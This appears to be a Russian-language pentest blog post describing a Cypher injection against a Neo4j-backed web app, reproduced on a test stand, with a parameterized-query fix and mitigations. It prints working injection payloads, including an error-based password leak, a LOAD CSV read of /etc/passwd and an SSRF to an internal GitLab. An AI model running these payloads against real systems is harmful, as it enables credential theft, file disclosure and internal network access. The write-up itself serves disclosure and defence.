Перейти к основному содержимому
  1. Блог/

Cypher-инъекция в базу Neo4j раскрывает пароли

·3 минут·

Cypher-инъекция для атаки на базу данных Neo4j возникает по тем же причинам, что и SQL‑инъекция: приложение вставляет пользовательский ввод прямо в запрос к базе. В результате злоумышленник может изменить не только значение для поиска, но и логику самого запроса.

На одном из проектов по анализу защищённости нам встретилось веб-приложение, которое использовало базу Neo4j. В ней в том числе хранились данные пользователей, используемые при аутентификации. Мы обнаружили, что приложение формирует Cypher‑запросы путем прямой конкатенации пользовательского ввода - это и создавало риск инъекции.

Чтобы не раскрывать детали заказчика и безопасно воспроизвести найденные атаки, мы собрали локальный стенд с такой же уязвимостью. Все дальнейшие запросы и результаты показаны уже на нём, а используемые данные и внутренние сервисы являются тестовыми.

Суть проблемы:

Уязвимый код может выглядеть так:

query = f'MATCH (u:Users) WHERE u.login = "{user_input}" RETURN u'

Здесь введенный логин становится частью текста запроса и может изменить его содержание. Правильный вариант: оставить Cypher неизменным, а значение передать драйверу отдельно:

query = "MATCH (u:Users) WHERE u.login = $user_input RETURN u"

with driver.session() as session:
    result = session.run(query, user_input=user_input)

В данном случае $user_input - это параметр запроса: драйвер передаёт его значение отдельно от текста запроса. Neo4j сначала компилирует запрос, а затем подставляет значение параметра, поэтому содержимое user_input интерпретируется как данные, а не как часть синтаксиса Cypher.

На практике:

На проекте сработала следующая цепочка, которую мы повторили на стенде. Сначала мы заставили Neo4j включить свойства объекта в текст ошибки. Запрос из Burp выглядел так:

GET /api/user?login="+OR+1%3D1+RETURN+toString(CASE+WHEN+1%3D1+THEN+properties(u)+ELSE+0+END)+// HTTP/1.1
Host: localhost:5001

Значение login после декодирования:

" OR 1=1 RETURN toString(CASE WHEN 1=1 THEN properties(u) ELSE 0 END) // 

Кавычка закрывает исходную строку, OR делает условие истинным, а // комментирует хвост запроса.

Neo4j попытался преобразовать свойства объекта в строку и вернул ошибку типизации. Приложение показало ошибку целиком, поэтому в ответ попали свойства пользователя, включая password в виде ByteArray[…].

Neo.ClientError.Statement.TypeError:
Map{login -> "admin", password -> ByteArray[...]}

После этого проверили метки графа, локальный файл и внутренний сервис, внедряя вредоносные фрагменты Cypher в параметр login через функцию Inspector в модуле Burp Repeater:

" OR 1=1 WITH u LIMIT 1 CALL db.labels() YIELD label RETURN label //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "file:///etc/passwd" AS line RETURN line //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "http://gitlab-internal" AS line RETURN line //

Первый запрос вернул метку Users. Через LOAD CSV удалось прочитать строку из /etc/passwd и получить страницу внутреннего GitLab:

label = "Users"
root:x:0:0:root:/root:/bin/bash
<title>GitLab</title>

Чтение файлов и HTTP-запросы через LOAD CSV зависят от версии Neo4j, настроек, прав процесса и сетевых ограничений. На другой конфигурации эти запросы могут не сработать.

Результат:

Эксплуатация инъекции позволила получить не только доступ к данным графа. Сначала подробная ошибка Neo4j раскрыла свойства пользователя, включая поле password. На стенде удалось получить метку Users, прочитать строки из файла внутри контейнера Neo4j и обратиться к тестовому внутреннему HTTP-сервису. Таким образом, уязвимость в формировании Cypher‑запросов открыла возможность для нескольких векторов воздействия: извлечения данных узлов и связей, чтения локальных файлов сервера и обращения к доступным из Neo4j внутренним сервисам.

Для защиты от такой атаки рекомендуем:

  • использовать параметризованные запросы,
  • не возвращать клиенту информацию о содержании ошибки,
  • выдать приложению минимальные права,
  • ограничить LOAD CSV и исходящий трафик.

Related